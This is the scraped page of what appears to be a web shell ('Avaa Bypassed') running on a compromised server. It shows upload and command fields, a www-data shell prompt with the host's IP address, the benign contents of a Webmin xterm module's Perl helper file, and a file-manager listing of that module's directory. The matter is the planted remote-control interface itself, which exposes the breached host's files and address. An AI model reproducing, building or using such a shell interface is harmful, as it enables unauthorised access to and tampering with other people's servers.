[ Avaa Bypassed ]




Upload:

Command:

www-data@18.219.24.193: ~ $
# Common functions for the xterm module

BEGIN { push(@INC, ".."); };
use WebminCore;
&init_config();
our %access = &get_module_acl();
do "$module_root_directory/websockets-lib-funcs.pl";

# config_pre_load(mod-info-ref, [mod-order-ref])
# Check if some config options are conditional,
# and if not allowed, remove them from listing
sub config_pre_load
{
my ($modconf_info, $modconf_order) = @_;

if ($ENV{'HTTP_X_REQUESTED_WITH'} eq "XMLHttpRequest") {

	# Process forbidden keys
	my @forbidden_keys;
	
	# Size is not supported in Authentic, because resize works flawlessly and
	# making it work would just add addition complexity for no good reason
	push(@forbidden_keys, 'size');

	# Remove forbidden from display
	foreach my $fkey (@forbidden_keys) {
		delete($modconf_info->{$fkey});
		@{$modconf_order} = grep { $_ ne $fkey } @{$modconf_order}
			if ($modconf_order);
		}
	}
}

1;

Filemanager

Name Type Size Permission Actions
images Folder 0755
lang Folder 0755
rc Folder 0755
acl_security.pl File 395 B 0644
config File 53 B 0644
config.info File 591 B 0644
defaultacl File 10 B 0644
index.cgi File 7.06 KB 0755
module.info File 176 B 0644
shellserver.pl File 4.65 KB 0755
websockets-lib-funcs.pl File 2.53 KB 0644
xterm-addon-attach.js File 1.63 KB 0644
xterm-addon-fit.js File 1.45 KB 0644
xterm-lib.pl File 886 B 0644
xterm.css File 2.18 KB 0644
xterm.js File 269.72 KB 0644